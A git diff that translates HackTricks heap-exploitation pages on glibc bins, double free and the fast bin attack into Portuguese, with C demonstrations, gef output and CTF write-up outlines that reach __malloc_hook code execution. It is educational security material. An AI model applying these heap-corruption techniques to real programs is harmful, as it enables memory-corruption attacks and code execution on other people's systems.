### Small Bins -Small bins are faster than large bins but slower than fast bins. +Small bins são mais rápidos que large bins, mas mais lentos que fast bins. -Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists. +Cada bin dos 62 terá **chunks do mesmo tamanho**: 16, 24, ... (com um tamanho máximo de 504 bytes em 32 bits e 1024 em 64 bits). Isso ajuda na velocidade de encontrar o bin onde um espaço deve ser alocado e na inserção e remoção de entradas nessas listas. -This is how the size of the small bin is calculated according to the index of the bin: - -- Smallest size: 2\*4\*index (e.g. index 5 -> 40) -- Biggest size: 2\*8\*index (e.g. index 5 -> 80) +Assim é como o tamanho do small bin é calculado de acordo com o índice do bin: +- Tamanho menor: 2\*4\*índice (por exemplo, índice 5 -> 40) +- Tamanho maior: 2\*8\*índice (por exemplo, índice 5 -> 80) ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 #define NSMALLBINS 64 @@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th #define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH) #define in_smallbin_range(sz) \ - ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) +((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) #define smallbin_index(sz) \ - ((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\ - + SMALLBIN_CORRECTION) +((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\ ++ SMALLBIN_CORRECTION) ``` - -Function to choose between small and large bins: - +Função para escolher entre bins pequenos e grandes: ```c #define bin_index(sz) \ - ((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz)) +((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz)) ``` -
-Add a small chunk example - +Adicionar um pequeno exemplo de chunk ```c #include #include int main(void) { - char *chunks[10]; - int i; +char *chunks[10]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 9; i++) { - chunks[i] = malloc(0x100); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 9; i++) { +chunks[i] = malloc(0x100); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - chunks[9] = malloc(0x110); +chunks[9] = malloc(0x110); - return 0; +return 0; } ``` +Note como alocamos e liberamos 9 chunks do mesmo tamanho para que eles **preencham o tcache** e o oitavo é armazenado no bin não ordenado porque é **grande demais para o fastbin** e o nono não é liberado, então o nono e o oitavo **não são mesclados com o chunk superior**. Em seguida, alocamos um chunk maior de 0x110, o que faz **o chunk no bin não ordenado ir para o small bin**. -Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin: - +Compile e depure com um breakpoint no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin do tcache está cheio e um chunk está no small bin: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00 [+] Found 0 chunks in unsorted bin. ──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── [+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 - → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in 1 small non-empty bins. ``` -
-### Large bins +### Grandes bins -Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size. +Ao contrário das pequenas bins, que gerenciam pedaços de tamanhos fixos, cada **grande bin gerencia uma faixa de tamanhos de pedaços**. Isso é mais flexível, permitindo que o sistema acomode **vários tamanhos** sem precisar de uma bin separada para cada tamanho. -In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB. +Em um alocador de memória, as grandes bins começam onde as pequenas bins terminam. As faixas para grandes bins crescem progressivamente, o que significa que a primeira bin pode cobrir pedaços de 512 a 576 bytes, enquanto a próxima cobre de 576 a 640 bytes. Esse padrão continua, com a maior bin contendo todos os pedaços acima de 1MB. -Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off. +As grandes bins são mais lentas para operar em comparação com as pequenas bins porque elas devem **classificar e pesquisar em uma lista de tamanhos de pedaços variados para encontrar o melhor ajuste** para uma alocação. Quando um pedaço é inserido em uma grande bin, ele precisa ser classificado, e quando a memória é alocada, o sistema deve encontrar o pedaço certo. Esse trabalho extra as torna **mais lentas**, mas como as alocações grandes são menos comuns do que as pequenas, é uma troca aceitável. -There are: +Existem: -- 32 bins of 64B range (collide with small bins) -- 16 bins of 512B range (collide with small bins) -- 8bins of 4096B range (part collide with small bins) -- 4bins of 32768B range -- 2bins of 262144B range -- 1bin for remaining sizes +- 32 bins de faixa de 64B (colidem com pequenas bins) +- 16 bins de faixa de 512B (colidem com pequenas bins) +- 8 bins de faixa de 4096B (parte colide com pequenas bins) +- 4 bins de faixa de 32768B +- 2 bins de faixa de 262144B +- 1 bin para tamanhos restantes
-Large bin sizes code - +Código de tamanhos de grandes bins ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 #define largebin_index_32(sz) \ - (((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) #define largebin_index_32_big(sz) \ - (((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) // XXX It remains to be seen whether it is good to keep the widths of // XXX the buckets the same or whether it should be scaled by a factor // XXX of two as well. #define largebin_index_64(sz) \ - (((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) #define largebin_index(sz) \ - (SIZE_SZ == 8 ? largebin_index_64 (sz) \ - : MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \ - : largebin_index_32 (sz)) +(SIZE_SZ == 8 ? largebin_index_64 (sz) \ +: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \ +: largebin_index_32 (sz)) ``` -
-Add a large chunk example - +Adicionar um exemplo de grande bloco ```c #include #include int main(void) { - char *chunks[2]; +char *chunks[2]; - chunks[0] = malloc(0x1500); - chunks[1] = malloc(0x1500); - free(chunks[0]); - chunks[0] = malloc(0x2000); +chunks[0] = malloc(0x1500); +chunks[1] = malloc(0x1500); +free(chunks[0]); +chunks[0] = malloc(0x2000); - return 0; +return 0; } ``` +2 grandes alocações são realizadas, então uma é liberada (colocando-a no bin não ordenado) e uma alocação maior é feita (movendo a liberada do bin não ordenado para o bin grande). -2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin). - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin: - +Compile e depure com um ponto de interrupção no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin tcache está cheio e um chunk está no bin grande: ```bash gef➤ heap bin ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -520,117 +489,108 @@ Fastbins[idx=6, size=0x80] 0x00 [+] Found 0 chunks in 0 small non-empty bins. ──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── [+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290 - → Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in 1 large non-empty bins. ``` -
### Top Chunk - ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 /* - Top +Top - The top-most available chunk (i.e., the one bordering the end of - available memory) is treated specially. It is never included in - any bin, is used only if no other chunk is available, and is - released back to the system if it is very large (see - M_TRIM_THRESHOLD). Because top initially - points to its own bin with initial zero size, thus forcing - extension on the first malloc request, we avoid having any special - code in malloc to check whether it even exists yet. But we still - need to do so when getting memory from system, so we make - initial_top treat the bin as a legal but unusable chunk during the - interval between initialization and the first call to - sysmalloc. (This is somewhat delicate, since it relies on - the 2 preceding words to be zero during this interval as well.) - */ +The top-most available chunk (i.e., the one bordering the end of +available memory) is treated specially. It is never included in +any bin, is used only if no other chunk is available, and is +released back to the system if it is very large (see +M_TRIM_THRESHOLD). Because top initially +points to its own bin with initial zero size, thus forcing +extension on the first malloc request, we avoid having any special +code in malloc to check whether it even exists yet. But we still +need to do so when getting memory from system, so we make +initial_top treat the bin as a legal but unusable chunk during the +interval between initialization and the first call to +sysmalloc. (This is somewhat delicate, since it relies on +the 2 preceding words to be zero during this interval as well.) +*/ /* Conveniently, the unsorted bin can be used as dummy top on first call */ #define initial_top(M) (unsorted_chunks (M)) ``` +Basicamente, este é um chunk que contém todo o heap atualmente disponível. Quando um malloc é realizado, se não houver nenhum chunk livre disponível para usar, este top chunk reduzirá seu tamanho, dando o espaço necessário.\ +O ponteiro para o Top Chunk é armazenado na struct `malloc_state`. -Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\ -The pointer to the Top Chunk is stored in the `malloc_state` struct. - -Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk. +Além disso, no início, é possível usar o chunk não ordenado como o top chunk.
-Observe the Top Chunk example - +Observe o exemplo do Top Chunk ```c #include #include int main(void) { - char *chunk; - chunk = malloc(24); - printf("Address of the chunk: %p\n", (void *)chunk); - gets(chunk); - return 0; +char *chunk; +chunk = malloc(24); +printf("Address of the chunk: %p\n", (void *)chunk); +gets(chunk); +return 0; } ``` - -After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks: - +Após compilar e depurar com um ponto de interrupção no opcode `ret` de `main`, vi que o malloc retornou o endereço `0xaaaaaaac12a0` e estes são os chunks: ```bash gef➤ heap chunks Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] +[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........] +[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........] Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c] +[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c] Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] +[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk ``` - -Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\ -It's also possible to see the length of the Top chunk on its chunk header: - +Onde pode ser visto que o chunk superior está no endereço `0xaaaaaaac1ae0`. Isso não é surpresa porque o último chunk alocado estava em `0xaaaaaaac12a0` com um tamanho de `0x410` e `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\ +Também é possível ver o comprimento do Top chunk em seu cabeçalho de chunk: ```bash gef➤ x/8wx 0xaaaaaaac1ae0 - 16 0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000 0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000 ``` -
-### Last Remainder +### Último Resto -When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct. +Quando malloc é usado e um chunk é dividido (do bin não ordenado ou do chunk superior, por exemplo), o chunk criado a partir do restante do chunk dividido é chamado de Último Resto e seu ponteiro é armazenado na struct `malloc_state`. -## Allocation Flow +## Fluxo de Alocação -Check out: +Confira: {{#ref}} heap-memory-functions/malloc-and-sysmalloc.md {{#endref}} -## Free Flow +## Fluxo de Liberação -Check out: +Confira: {{#ref}} heap-memory-functions/free.md {{#endref}} -## Heap Functions Security Checks +## Verificações de Segurança das Funções de Heap -Check the security checks performed by heavily used functions in heap in: +Verifique as verificações de segurança realizadas por funções amplamente utilizadas em heap em: {{#ref}} heap-memory-functions/heap-functions-security-checks.md {{#endref}} -## References +## Referências - [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) diff --git a/src/binary-exploitation/libc-heap/double-free.md b/src/binary-exploitation/libc-heap/double-free.md index a30116d58..9436471e7 100644 --- a/src/binary-exploitation/libc-heap/double-free.md +++ b/src/binary-exploitation/libc-heap/double-free.md @@ -2,91 +2,89 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption. +Se você liberar um bloco de memória mais de uma vez, isso pode bagunçar os dados do alocador e abrir a porta para ataques. Veja como isso acontece: quando você libera um bloco de memória, ele volta para uma lista de blocos livres (por exemplo, o "fast bin"). Se você liberar o mesmo bloco duas vezes seguidas, o alocador detecta isso e gera um erro. Mas se você **liberar outro bloco no meio, a verificação de double-free é contornada**, causando corrupção. -Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code. - -Example: +Agora, quando você pede nova memória (usando `malloc`), o alocador pode lhe dar um **bloco que foi liberado duas vezes**. Isso pode levar a dois ponteiros diferentes apontando para o mesmo local de memória. Se um atacante controla um desses ponteiros, ele pode alterar o conteúdo daquela memória, o que pode causar problemas de segurança ou até mesmo permitir que ele execute código. +Exemplo: ```c #include #include int main() { - // Allocate memory for three chunks - char *a = (char *)malloc(10); - char *b = (char *)malloc(10); - char *c = (char *)malloc(10); - char *d = (char *)malloc(10); - char *e = (char *)malloc(10); - char *f = (char *)malloc(10); - char *g = (char *)malloc(10); - char *h = (char *)malloc(10); - char *i = (char *)malloc(10); +// Allocate memory for three chunks +char *a = (char *)malloc(10); +char *b = (char *)malloc(10); +char *c = (char *)malloc(10); +char *d = (char *)malloc(10); +char *e = (char *)malloc(10); +char *f = (char *)malloc(10); +char *g = (char *)malloc(10); +char *h = (char *)malloc(10); +char *i = (char *)malloc(10); - // Print initial memory addresses - printf("Initial allocations:\n"); - printf("a: %p\n", (void *)a); - printf("b: %p\n", (void *)b); - printf("c: %p\n", (void *)c); - printf("d: %p\n", (void *)d); - printf("e: %p\n", (void *)e); - printf("f: %p\n", (void *)f); - printf("g: %p\n", (void *)g); - printf("h: %p\n", (void *)h); - printf("i: %p\n", (void *)i); +// Print initial memory addresses +printf("Initial allocations:\n"); +printf("a: %p\n", (void *)a); +printf("b: %p\n", (void *)b); +printf("c: %p\n", (void *)c); +printf("d: %p\n", (void *)d); +printf("e: %p\n", (void *)e); +printf("f: %p\n", (void *)f); +printf("g: %p\n", (void *)g); +printf("h: %p\n", (void *)h); +printf("i: %p\n", (void *)i); - // Fill tcache - free(a); - free(b); - free(c); - free(d); - free(e); - free(f); - free(g); +// Fill tcache +free(a); +free(b); +free(c); +free(d); +free(e); +free(f); +free(g); - // Introduce double-free vulnerability in fast bin - free(h); - free(i); - free(h); +// Introduce double-free vulnerability in fast bin +free(h); +free(i); +free(h); - // Reallocate memory and print the addresses - char *a1 = (char *)malloc(10); - char *b1 = (char *)malloc(10); - char *c1 = (char *)malloc(10); - char *d1 = (char *)malloc(10); - char *e1 = (char *)malloc(10); - char *f1 = (char *)malloc(10); - char *g1 = (char *)malloc(10); - char *h1 = (char *)malloc(10); - char *i1 = (char *)malloc(10); - char *i2 = (char *)malloc(10); +// Reallocate memory and print the addresses +char *a1 = (char *)malloc(10); +char *b1 = (char *)malloc(10); +char *c1 = (char *)malloc(10); +char *d1 = (char *)malloc(10); +char *e1 = (char *)malloc(10); +char *f1 = (char *)malloc(10); +char *g1 = (char *)malloc(10); +char *h1 = (char *)malloc(10); +char *i1 = (char *)malloc(10); +char *i2 = (char *)malloc(10); - // Print initial memory addresses - printf("After reallocations:\n"); - printf("a1: %p\n", (void *)a1); - printf("b1: %p\n", (void *)b1); - printf("c1: %p\n", (void *)c1); - printf("d1: %p\n", (void *)d1); - printf("e1: %p\n", (void *)e1); - printf("f1: %p\n", (void *)f1); - printf("g1: %p\n", (void *)g1); - printf("h1: %p\n", (void *)h1); - printf("i1: %p\n", (void *)i1); - printf("i2: %p\n", (void *)i2); +// Print initial memory addresses +printf("After reallocations:\n"); +printf("a1: %p\n", (void *)a1); +printf("b1: %p\n", (void *)b1); +printf("c1: %p\n", (void *)c1); +printf("d1: %p\n", (void *)d1); +printf("e1: %p\n", (void *)e1); +printf("f1: %p\n", (void *)f1); +printf("g1: %p\n", (void *)g1); +printf("h1: %p\n", (void *)h1); +printf("i1: %p\n", (void *)i1); +printf("i2: %p\n", (void *)i2); - return 0; +return 0; } ``` +Neste exemplo, após preencher o tcache com vários chunks liberados (7), o código **libera o chunk `h`, depois o chunk `i`, e então `h` novamente, causando um double free** (também conhecido como Fast Bin dup). Isso abre a possibilidade de receber endereços de memória sobrepostos ao realocar, significando que dois ou mais ponteiros podem apontar para a mesma localização de memória. Manipular dados através de um ponteiro pode então afetar o outro, criando um risco crítico de segurança e potencial para exploração. -In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation. +Executando, note como **`i1` e `i2` obtiveram o mesmo endereço**: -Executing it, note how **`i1` and `i2` got the same address**: - -
Initial allocations:
+
Alocações iniciais:
 a: 0xaaab0f0c22a0
 b: 0xaaab0f0c22c0
 c: 0xaaab0f0c22e0
@@ -96,7 +94,7 @@ f: 0xaaab0f0c2340
 g: 0xaaab0f0c2360
 h: 0xaaab0f0c2380
 i: 0xaaab0f0c23a0
-After reallocations:
+Após realocações:
 a1: 0xaaab0f0c2360
 b1: 0xaaab0f0c2340
 c1: 0xaaab0f0c2320
@@ -109,23 +107,23 @@ h1: 0xaaab0f0c2380
 i2: 0xaaab0f0c23a0
 

 
-## Examples
+## Exemplos
 
 - [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
-  - We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite.
-  - Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance).
-  - One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook`
-  - We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution.
+- Podemos alocar apenas chunks do tamanho de Fast-Bin, exceto para o tamanho `0x70`, o que impede a sobrescrita usual de `__malloc_hook`.
+- Em vez disso, usamos endereços PIE que começam com `0x56` como alvo para Fast Bin dup (1/2 de chance).
+- Um lugar onde os endereços PIE são armazenados é em `main_arena`, que está dentro do Glibc e perto de `__malloc_hook`.
+- Alvo um deslocamento específico de `main_arena` para alocar um chunk lá e continuar alocando chunks até alcançar `__malloc_hook` para obter execução de código.
 - [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
-  - Using Tcache bins and a null-byte overflow, we can achieve a double-free situation:
-    - We allocate three chunks of size `0x110` (`A`, `B`, `C`)
-    - We free `B`
-    - We free `A` and allocate again to use the null-byte overflow
-    - Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again
-    - We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free.
-  - We leverage the double free using [Tcache poisoning](tcache-bin-attack.md)
+- Usando bins Tcache e um overflow de byte nulo, podemos alcançar uma situação de double-free:
+- Alocamos três chunks de tamanho `0x110` (`A`, `B`, `C`)
+- Liberamos `B`
+- Liberamos `A` e alocamos novamente para usar o overflow de byte nulo
+- Agora o campo de tamanho de `B` é `0x100`, em vez de `0x111`, então podemos liberá-lo novamente
+- Temos um Tcache-bin de tamanho `0x110` e um de tamanho `0x100` que apontam para o mesmo endereço. Portanto, temos um double free.
+- Aproveitamos o double free usando [Tcache poisoning](tcache-bin-attack.md)
 
-## References
+## Referências
 
 - [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free)
 
diff --git a/src/binary-exploitation/libc-heap/fast-bin-attack.md b/src/binary-exploitation/libc-heap/fast-bin-attack.md
index c36c675de..d408d9099 100644
--- a/src/binary-exploitation/libc-heap/fast-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/fast-bin-attack.md
@@ -2,18 +2,17 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-For more information about what is a fast bin check this page:
+Para mais informações sobre o que é um fast bin, consulte esta página:
 
 {{#ref}}
 bins-and-memory-allocations.md
 {{#endref}}
 
-Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**.
-
-As summary:
+Como o fast bin é uma lista encadeada simples, há muito menos proteções do que em outros bins e apenas **modificar um endereço em um chunk de fast bin liberado** é suficiente para poder **alocar depois um chunk em qualquer endereço de memória**.
 
+Em resumo:
 ```c
 ptr0 = malloc(0x20);
 ptr1 = malloc(0x20);
@@ -29,9 +28,7 @@ free(ptr1)
 ptr2 = malloc(0x20); // This will get ptr1
 ptr3 = malloc(0x20); // This will get a chunk in the 
 which could be abuse to overwrite arbitrary content inside of it
 ```
-
-You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
-
+Você pode encontrar um exemplo completo em um código muito bem explicado em [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
 ```c
 #include 
 #include 
@@ -39,112 +36,111 @@ You can find a full example in a very well explained code from [https://guyinatu
 
 int main(void)
 {
-    puts("Today we will be discussing a fastbin attack.");
-    puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
-    puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
-    puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
-    puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
-    puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
-    puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
-    puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
-    puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
+puts("Today we will be discussing a fastbin attack.");
+puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
+puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
+puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
+puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
+puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
+puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
+puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
+puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
 
-    puts("Let's start, we will allocate three chunks of size 0x30\n");
-    unsigned long *ptr0, *ptr1, *ptr2;
+puts("Let's start, we will allocate three chunks of size 0x30\n");
